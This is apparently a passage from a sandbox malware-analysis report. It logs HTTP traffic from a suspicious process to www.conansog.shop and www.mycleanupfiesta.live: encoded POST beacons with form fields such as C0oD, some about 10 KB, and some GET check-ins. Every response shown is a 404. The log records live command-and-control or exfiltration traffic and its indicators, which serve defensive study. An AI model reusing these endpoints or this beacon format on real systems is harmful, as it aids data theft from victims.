Nov 12, 2024 18:48:03.916635036 CET	820	OUT	POST /4y21/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.conansog.shop Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 221 Connection: close Origin: http://www.conansog.shop Referer: http://www.conansog.shop/4y21/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 72 4e 35 73 79 56 32 59 71 46 42 46 54 2b 58 7a 39 57 38 67 45 30 44 36 42 2f 64 78 4c 30 4c 79 69 6d 6a 69 4e 76 44 56 39 53 4e 43 65 51 62 4c 4d 43 52 4c 73 54 49 36 31 72 4b 76 4b 50 70 57 47 48 44 71 6e 35 41 4a 69 76 52 67 42 71 6b 78 6d 4b 32 77 55 67 35 7a 5a 43 2f 72 7a 46 49 42 62 74 61 66 30 77 49 34 79 44 78 39 63 6e 31 44 70 6b 4c 6a 6c 44 68 64 35 6f 77 45 69 6c 4f 48 6f 30 54 36 31 35 69 78 4d 56 53 47 6b 75 32 45 30 70 71 49 7a 67 63 32 58 37 6e 56 43 4f 65 6e 70 41 42 73 70 55 52 4c 62 69 59 69 6b 6a 6a 68 78 4e 64 44 65 30 30 70 51 48 79 44 44 79 2f 5a 44 71 30 75 67 7a 42 4c 64 48 36 4c 79 49 50 4a 51 36 73 2f 6d 46 67 3d Data Ascii: C0oD=rN5syV2YqFBFT+Xz9W8gE0D6B/dxL0LyimjiNvDV9SNCeQbLMCRLsTI61rKvKPpWGHDqn5AJivRgBqkxmK2wUg5zZC/rzFIBbtaf0wI4yDx9cn1DpkLjlDhd5owEilOHo0T615ixMVSGku2E0pqIzgc2X7nVCOenpABspURLbiYikjjhxNdDe00pQHyDDy/ZDq0ugzBLdH6LyIPJQ6s/mFg=
Nov 12, 2024 18:48:04.622538090 CET	738	IN	HTTP/1.1 404 Not Found Date: Tue, 12 Nov 2024 17:48:04 GMT Content-Length: 0 Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nQoUtzXmkMuEuSgf4Ndqrlr7vwxISkQaQIBFJOmUfWhawfwTYMcE1m4Ha6M13tyf3%2Fw%2FBSku6cfhlOBnwDmaRoL9fXhyU%2FS5HsUVB24WHSnPw3Pnr6hZlU0kjENTpmDKpkIMCQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e1859cfcb300c46-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2039&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=820&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49782	104.21.41.74	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:48:06.506959915 CET	10902	OUT	POST /4y21/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.conansog.shop Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Connection: close Origin: http://www.conansog.shop Referer: http://www.conansog.shop/4y21/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 72 4e 35 73 79 56 32 59 71 46 42 46 54 2b 58 7a 39 57 38 67 45 30 44 36 42 2f 64 78 4c 30 4c 79 69 6d 6a 69 4e 76 44 56 39 53 56 43 65 44 54 4c 4e 68 4a 4c 74 54 49 36 34 4c 4b 73 4b 50 6f 45 47 48 62 75 6e 35 64 38 69 70 64 67 41 49 73 78 79 76 57 77 65 67 35 7a 52 69 2f 71 38 6c 4a 5a 62 73 32 44 30 77 59 34 79 44 78 39 63 6c 74 44 34 78 6e 6a 6e 44 68 53 75 59 77 49 31 31 4f 6a 6f 30 4c 71 31 35 6e 54 4e 6b 79 47 6b 4f 6d 45 79 62 43 49 2f 67 63 30 55 37 6e 64 43 4f 53 34 70 45 68 57 70 56 56 78 62 68 45 69 6e 58 43 66 76 65 4e 69 4b 58 45 50 4c 6c 43 44 47 69 48 70 61 39 77 4a 32 6a 74 43 4e 32 61 6c 32 49 2b 38 4b 70 59 38 78 69 35 72 78 54 53 41 56 52 70 50 4c 75 4e 50 39 35 32 43 67 2f 72 4f 72 39 6b 64 57 74 39 76 30 62 51 66 45 2b 65 4d 50 69 52 54 59 79 44 77 4f 5a 71 63 67 38 67 4c 50 4d 2f 57 49 69 74 49 2b 63 69 33 56 6d 70 75 4c 56 76 6e 48 62 6e 2f 71 76 58 48 71 48 53 77 32 2b 78 2f 76 4a 69 75 51 41 68 48 47 37 54 33 72 56 39 62 39 55 77 66 76 6c 6f 78 47 36 61 74 59 [TRUNCATED] Data Ascii: C0oD=rN5syV2YqFBFT+Xz9W8gE0D6B/dxL0LyimjiNvDV9SVCeDTLNhJLtTI64LKsKPoEGHbun5d8ipdgAIsxyvWweg5zRi/q8lJZbs2D0wY4yDx9cltD4xnjnDhSuYwI11Ojo0Lq15nTNkyGkOmEybCI/gc0U7ndCOS4pEhWpVVxbhEinXCfveNiKXEPLlCDGiHpa9wJ2jtCN2al2I+8KpY8xi5rxTSAVRpPLuNP952Cg/rOr9kdWt9v0bQfE+eMPiRTYyDwOZqcg8gLPM/WIitI+ci3VmpuLVvnHbn/qvXHqHSw2+x/vJiuQAhHG7T3rV9b9UwfvloxG6atYy2kNwfklDWgjK14KH5J10W5C+npIwQXU4uBDt05UI8Ba/+XoU/AMRhtDFBa5WEyBYw6MAsYlg0qd3tH4hOoMQOtxqABq+fDm9azysLoHHY2QiyZr7ghBr2REtSX9x2k+YRwb6TyTPenkGdp2GmhDkzwm5SDJ3jGIOTiCPELd0KItLAzYmVhNFP6/8m4QtS23j0tkTdsc2CYyyXk7CpckMLBWGazp/zWmBWlA4uyKdzoiXUTWGyExWWT08VdIk1agjG7MLylNqDLGnMcpFLPd/ubB5/BxUnC5UTQytTUFJf6+8gAyN826lvtfdQ7vj6vRX78oYjJJtPO1WHX8MT94H9z4zG1LOLqucqPq16p5B53ZbQMMu+mxa/pwviheiNDAI39yczAN20+KwT4IDlrZowk8L1UHNA+KC6PF/oYQQa3GT4t0dvUtuBU/N1hn/7w6DXTMsQ7deqQMGAdGxhZt0GqqUf0trpu2eMfuvnWeuD541J013MUrYpb192gt8OFUmqdgt0v5jiiFyFTmgPRkElrPyPdvIFuPDspJvuplhNp6UUuLLADSruWoI3HCznX9asc2LD6js9WwV/IJJ6aHc6roKrSXf2G3Ow7eK8J7nS4q1Svlc3q7FeQ4Na1yZ8tUTNTjQ4YH00PpY18u82KEa1Yp7cBcADvQjw [TRUNCATED]
Nov 12, 2024 18:48:07.190120935 CET	739	IN	HTTP/1.1 404 Not Found Date: Tue, 12 Nov 2024 17:48:07 GMT Content-Length: 0 Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LDP2uDL1bZdWPwl7zzgzJcvsXJg%2Fw%2FVI5KLgb8RCnsck542VVTfYncJE1r3EJKd40c7HGxAbv8g5G1bYUJdQF4nZSc8iUgCV61lxiVpYja4EvlVjdyHR6F6P7vUP0d2OCp3QDA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e1859dfdf1f0b9d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1647&sent=3&recv=10&lost=0&retrans=0&sent_bytes=0&recv_bytes=10902&delivery_rate=0&cwnd=245&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49798	104.21.41.74	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:48:09.053576946 CET	539	OUT	GET /4y21/?C0oD=mPRMxh+e+VE7Ove39Sw8dmi+aOJGAWH5jFedH8atyVdfIyLeJFBfjy5Y1KL2B+s6BQDtsLRij94DPPI3pu69UR9kCgLa8mV6DaG1kiIWnyUqRHhlgCWSgg4=&SJLty=7Zsl8bAHqdkHEnH HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.conansog.shop Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Nov 12, 2024 18:48:09.773437977 CET	740	IN	HTTP/1.1 404 Not Found Date: Tue, 12 Nov 2024 17:48:09 GMT Content-Length: 0 Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LSq2TXNm8EycivJra0fCEN0WzUcvAVuK4JgmyuNGkJYA%2FjOBWR8qnzdGApx5U6staJ%2BRaM9JrObjGbj0seCfRjQJdL32DOrKtGm9VZiGdNPQIIzIqJpAKmV%2FvQcV8%2Fe1ulmJQg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e1859efdd623064-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1637&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=539&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49830	172.67.137.238	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:48:14.977797031 CET	821	OUT	POST /a9if/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.mycleanupfiesta.live Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 201 Connection: close Origin: http://www.mycleanupfiesta.live Referer: http://www.mycleanupfiesta.live/a9if/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 41 4e 71 6c 33 33 77 2f 70 44 61 52 6f 36 2b 4c 61 6e 46 46 44 2f 68 4d 52 7a 59 43 37 30 6c 2f 42 6c 74 6c 62 56 59 6c 39 2f 4f 79 48 61 4a 2b 50 55 4b 61 72 4d 34 6e 74 30 76 39 7a 46 39 6e 67 6e 6c 65 72 35 70 39 64 46 78 32 31 2f 41 6f 59 78 71 52 4d 50 4d 71 39 57 56 61 62 6c 6e 6a 53 4f 51 66 70 49 32 66 77 33 6e 4a 33 37 4c 79 34 6c 4d 59 52 31 39 79 72 4a 32 76 46 39 44 73 65 45 6b 78 41 58 62 2b 77 44 76 49 30 7a 48 6e 47 63 4e 66 49 63 53 41 52 59 33 34 68 53 6e 32 63 2f 43 6a 50 31 57 48 36 37 75 50 52 39 43 4a 58 65 71 77 30 4c 50 44 42 7a 45 6c 59 35 62 47 7a 41 3d 3d Data Ascii: C0oD=ANql33w/pDaRo6+LanFFD/hMRzYC70l/BltlbVYl9/OyHaJ+PUKarM4nt0v9zF9ngnler5p9dFx21/AoYxqRMPMq9WVablnjSOQfpI2fw3nJ37Ly4lMYR19yrJ2vF9DseEkxAXb+wDvI0zHnGcNfIcSARY34hSn2c/CjP1WH67uPR9CJXeqw0LPDBzElY5bGzA==
Nov 12, 2024 18:48:15.751185894 CET	991	IN	HTTP/1.1 404 Not Found Date: Tue, 12 Nov 2024 17:48:15 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lMfD4dmSAij7CsFoQtV6hEVIYyzYCKNbYhMRwHnuQpyBj1KqcyemsjQ1mXn%2BWy0M8h855PnOFqxZBB0abFxjqsFetWCLhOOKnYEfOADa%2FkfnaIeAf3pCjyMz%2Bd3cCHfLa7w%2Bv7d7X6a0sek%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e185a152952e767-DEN Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19140&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=821&delivery_rate=0&cwnd=30&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 62 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8e 3d 0f 82 40 10 44 fb fb 15 2b bd 2c 18 ca cd 15 f2 11 49 10 89 39 0a 4b 0c 6b 8e 04 39 e4 0e 8d ff de 00 8d ed cc 9b 97 a1 5d 72 89 d5 ad 4a e1 a4 ce 05 54 f5 b1 c8 63 f0 f6 88 79 aa 32 c4 44 25 5b 73 f0 03 c4 b4 f4 a4 20 ed 9e bd 24 cd 4d 2b 05 b9 ce f5 2c a3 20 82 d2 38 c8 cc 3c b4 84 5b 28 08 57 88 ee a6 fd 2e bb 50 fe 31 3a 94 82 46 a9 34 c3 c4 af 99 ad e3 16 ea 6b 01 9f c6 c2 60 1c 3c 16 0e cc 00 4e 77 16 2c 4f 6f 9e 7c c2 71 f1 ae 46 c2 f5 c9 0f 00 00 ff ff e3 02 00 f3 7c 15 3c c4 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: b3L=@D+,I9Kk9]rJTcy2D%[s $M+, 8<[(W.P1:F4k`<Nw,Oo\|qF\|<0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49845	172.67.137.238	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:48:17.525497913 CET	841	OUT	POST /a9if/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.mycleanupfiesta.live Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 221 Connection: close Origin: http://www.mycleanupfiesta.live Referer: http://www.mycleanupfiesta.live/a9if/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 41 4e 71 6c 33 33 77 2f 70 44 61 52 70 61 75 4c 64 45 74 46 47 66 67 2b 64 54 59 43 78 55 6c 7a 42 69 6c 6c 62 57 56 2b 39 4e 61 79 45 2b 4e 2b 4f 56 4b 61 73 4d 34 6e 69 55 75 35 74 31 38 4b 67 6e 34 72 72 37 39 39 64 46 6c 32 31 2f 77 6f 59 43 79 57 4f 66 4d 6f 77 32 56 63 55 46 6e 6a 53 4f 51 66 70 49 69 31 77 32 50 4a 33 4c 37 79 35 41 34 5a 53 31 39 78 71 4a 32 76 53 74 44 6f 65 45 6b 70 41 57 57 52 77 42 6e 49 30 7a 33 6e 47 4e 4e 63 47 63 53 38 4f 49 33 70 77 67 57 44 62 50 66 62 41 6a 61 6e 69 35 32 51 5a 62 50 54 47 76 4c 6e 6d 4c 72 77 63 30 4e 52 56 36 6d 50 6f 4e 67 61 53 48 6e 36 62 4d 35 37 6b 70 37 59 4e 64 46 56 2b 34 77 3d Data Ascii: C0oD=ANql33w/pDaRpauLdEtFGfg+dTYCxUlzBillbWV+9NayE+N+OVKasM4niUu5t18Kgn4rr799dFl21/woYCyWOfMow2VcUFnjSOQfpIi1w2PJ3L7y5A4ZS19xqJ2vStDoeEkpAWWRwBnI0z3nGNNcGcS8OI3pwgWDbPfbAjani52QZbPTGvLnmLrwc0NRV6mPoNgaSHn6bM57kp7YNdFV+4w=
Nov 12, 2024 18:48:18.257158995 CET	1005	IN	HTTP/1.1 404 Not Found Date: Tue, 12 Nov 2024 17:48:18 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l%2B5bRQeBwN6Fb6UcAghnxtkktft6eztthSjyKjYk4RnZP0aJN%2FYWmQzQvRVA%2BYvS%2Bp%2FOyXXChQT2JIVqCaClOQ1%2BcFEzDFyJZly1SXV6Nd0jNGc628ABUBniOdao6BNVKx6ObwzGw9nBfvE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e185a24e958e751-DEN Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19003&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=841&delivery_rate=0&cwnd=30&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 00 00 00 ff ff 0d 0a 61 39 0d 0a 4c 8e 3d 0f 82 40 10 44 fb fb 15 2b bd 2c 18 ca cd 15 f2 11 49 10 89 39 0a 4b 0c 6b 8e 04 39 e4 0e 8d ff de 00 8d ed cc 9b 97 a1 5d 72 89 d5 ad 4a e1 a4 ce 05 54 f5 b1 c8 63 f0 f6 88 79 aa 32 c4 44 25 5b 73 f0 03 c4 b4 f4 a4 20 ed 9e bd 24 cd 4d 2b 05 b9 ce f5 2c a3 20 82 d2 38 c8 cc 3c b4 84 5b 28 08 57 88 ee a6 fd 2e bb 50 fe 31 3a 94 82 46 a9 34 c3 c4 af 99 ad e3 16 ea 6b 01 9f c6 c2 60 1c 3c 16 0e cc 00 4e 77 16 2c 4f 6f 9e 7c c2 71 f1 ae 46 c2 f5 c9 0f 00 00 ff ff e3 02 00 f3 7c 15 3c c4 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: fa9L=@D+,I9Kk9]rJTcy2D%[s $M+, 8<[(W.P1:F4k`<Nw,Oo\|qF\|<0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49861	172.67.137.238	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:48:20.074323893 CET	10923	OUT	POST /a9if/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.mycleanupfiesta.live Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Connection: close Origin: http://www.mycleanupfiesta.live Referer: http://www.mycleanupfiesta.live/a9if/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 43 30 6f 44 3d 41 4e 71 6c 33 33 77 2f 70 44 61 52 70 61 75 4c 64 45 74 46 47 66 67 2b 64 54 59 43 78 55 6c 7a 42 69 6c 6c 62 57 56 2b 39 4e 69 79 48 4c 5a 2b 49 32 53 61 74 4d 34 6e 76 30 75 36 74 31 39 49 67 6e 77 6e 72 37 78 48 64 48 64 32 30 64 34 6f 61 7a 79 57 48 66 4d 6f 76 6d 56 64 62 6c 6d 68 53 4f 41 6c 70 49 79 31 77 32 50 4a 33 4a 6a 79 77 31 4d 5a 65 56 39 79 72 4a 32 72 46 39 44 55 65 45 38 35 41 57 53 37 77 77 48 49 7a 54 6e 6e 56 50 6c 63 4b 63 53 45 4e 49 32 30 77 67 61 71 62 50 79 69 41 6a 47 42 69 37 71 51 63 39 36 54 66 74 54 74 6b 4c 37 4b 4f 45 42 78 4d 4b 79 36 6d 76 4d 2b 54 45 37 6d 4a 76 78 30 67 34 4f 49 51 73 5a 42 71 49 31 30 57 4b 67 52 74 77 55 59 6c 36 43 56 30 54 67 64 4d 59 66 65 5a 54 4d 74 42 41 70 33 78 47 41 55 6f 5a 71 75 74 2f 72 37 37 7a 51 42 56 6b 43 64 33 4a 51 54 4e 43 76 52 4b 50 72 7a 4f 62 38 4a 31 52 69 4d 56 61 52 72 75 51 31 57 50 6e 31 35 4c 37 58 76 47 50 47 39 65 52 31 57 6f 62 32 7a 78 31 42 69 42 53 50 6b 6a 59 34 7a 72 56 73 54 34 65 43 74 62 [TRUNCATED] Data Ascii: C0oD=ANql33w/pDaRpauLdEtFGfg+dTYCxUlzBillbWV+9NiyHLZ+I2SatM4nv0u6t19Ignwnr7xHdHd20d4oazyWHfMovmVdblmhSOAlpIy1w2PJ3Jjyw1MZeV9yrJ2rF9DUeE85AWS7wwHIzTnnVPlcKcSENI20wgaqbPyiAjGBi7qQc96TftTtkL7KOEBxMKy6mvM+TE7mJvx0g4OIQsZBqI10WKgRtwUYl6CV0TgdMYfeZTMtBAp3xGAUoZqut/r77zQBVkCd3JQTNCvRKPrzOb8J1RiMVaRruQ1WPn15L7XvGPG9eR1Wob2zx1BiBSPkjY4zrVsT4eCtbDjAnqgfci6iWQ8p/dohPGn6Ej81O4tEzpmIiNoNFL70g4RA4mSKihNOOjdNLMdvkLvXKs412BIjQBrVA13ytSSBj/RUxpq3LFfIytFkpkW8v7YYF55rzrjQ5fkFAlLRX1YK6aKk/Y4G7iOFZtH4qnXSt11T/aVA4XOzAN6TAQiC+JZf5nuuR9q4tU4QVx87EnXZqBiU/Vh8VwGbIF/66Gad2iGQhygxzUk9EnYAsYWODDYKM62mkns3VR/sp4NJd61cD3x4uQKfxSvDs+6Hj2l9e8Y7pk0TqQqRcL8glMovD20naU3eu00kr6HlYjKFeArrqeZD1W2r5/qdyXoXxN3m+KzWTmw8lIIES2S3Hp0CYCY/lJpBAcNjRlCqTGWDXDi6rEq46CvV+E1QgJmBwnkpUYsQR8T682xjG3oU/XtHArNZziJFJC54SDXYSn5F7VbgVc85u2Gsp77pidAklRiaeOo47yiTWldeSJXc9WOheiBwSn3UHgEj1WLPu1l4doFjrc8Rc0OmPzv/4JRIMjJsM3oH2wcU/GN6Q5o4a0tLptYhVhGDYMvp97C1vrOogPisyhyWofUzZi/wrL8/uvMdu8rrFWWEd4B61rzFzwwbhy++pA5gxOdiZh3+imll5NUEvwkxGK8oodbhuuqGH7FNECKoyPdui5x [TRUNCATED]
Nov 12, 2024 18:48:20.825866938 CET	1001	IN	HTTP/1.1 404 Not Found Date: Tue, 12 Nov 2024 17:48:20 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ha4kIMHB%2FLrrbGm6D96uxCjsFDZo3ZLo9tMi5v0RTj5kA%2FJ6OegYePIOFQuDW4b1553oiKEJs24hMv3es%2BPgry%2Bvr6AR49gTJtaQULo6FUxOHnydkdEpfmr0I5FPO9V7%2B7NS56PWfI9gsFQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e185a34dbfae75f-DEN Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18775&sent=6&recv=10&lost=0&retrans=0&sent_bytes=0&recv_bytes=10923&delivery_rate=0&cwnd=30&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 61 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8e 3d 0f 82 40 10 44 fb fb 15 2b bd 2c 18 ca cd 15 f2 11 49 10 89 39 0a 4b 0c 6b 8e 04 39 e4 0e 8d ff de 00 8d ed cc 9b 97 a1 5d 72 89 d5 ad 4a e1 a4 ce 05 54 f5 b1 c8 63 f0 f6 88 79 aa 32 c4 44 25 5b 73 f0 03 c4 b4 f4 a4 20 ed 9e bd 24 cd 4d 2b 05 b9 ce f5 2c a3 20 82 d2 38 c8 cc 3c b4 84 5b 28 08 57 88 ee a6 fd 2e bb 50 fe 31 3a 94 82 46 a9 34 c3 c4 af 99 ad e3 16 ea 6b 01 9f c6 c2 60 1c 3c 16 0e cc 00 4e 77 16 2c 4f 6f 9e 7c c2 71 f1 ae 46 c2 f5 c9 0f 00 00 ff ff 0d 0a 62 0d 0a e3 02 00 f3 7c 15 3c c4 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a8L=@D+,I9Kk9]rJTcy2D%[s $M+, 8<[(W.P1:F4k`<Nw,Oo\|qFb\|<0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49876	172.67.137.238	80	4176	C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 18:48:22.805389881 CET	546	OUT	GET /a9if/?SJLty=7Zsl8bAHqdkHEnH&C0oD=NPCF0Cc5uwbi+9CdLylAZ+4kLxMnwTwBBFY+WmZ6z4eVD7VdFSaEtftDik7huU9slgF1galMdGpPyLMnTxOlI51ovglTUHTdL9cfhIyo0GaR7r/EyDMZf0s= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.mycleanupfiesta.live Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-G900P Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Nov 12, 2024 18:48:23.537311077 CET	977	IN	HTTP/1.1 404 Not Found Date: Tue, 12 Nov 2024 17:48:23 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9bLPAXvneoM6hF5mnagOFvcmsoG5mvdf80GryTXjc2RMaOi%2BNC3fZr40f1L9zl3YtD5xFGv5lRA9Xq0d%2Fe1z4%2F979aEYba2rK0RR7JdSRTKgeQqDBkYLnICkz6WUoUfkFFU71STrskczGYg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e185a45f918e73b-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18690&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=546&delivery_rate=0&cwnd=30&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 63 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c4<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 